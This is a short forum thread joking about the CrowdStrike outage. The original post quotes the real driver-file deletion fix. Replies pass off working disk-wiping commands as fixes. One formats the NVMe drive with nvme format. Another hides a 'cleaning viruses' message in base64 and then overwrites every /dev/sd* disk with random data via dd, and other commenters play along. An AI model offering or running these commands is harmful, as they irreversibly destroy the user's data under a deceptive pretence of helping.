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What a simple fix (possumpat.io)

submitted 4 months ago by [email protected] to c/[email protected]

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Seeing the crowdstrike solution reminded me of the old memes

Go to C:\Windows\System32\drivers\CrowdStrike

Locate and delete file matching "C-00000291*.sys"

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[–] [email protected] 10 points 4 months ago (1 children)

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

[–] [email protected] 3 points 4 months ago (1 children)

I'm using hdd

[–] [email protected] 2 points 4 months ago (1 children)

echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done

[–] [email protected] 3 points 4 months ago (1 children)

It said ' Cleaning viruses from computer..." And screen went dark

[–] [email protected] 3 points 4 months ago

That's normal. That just means the viruses were cleaned from your computer.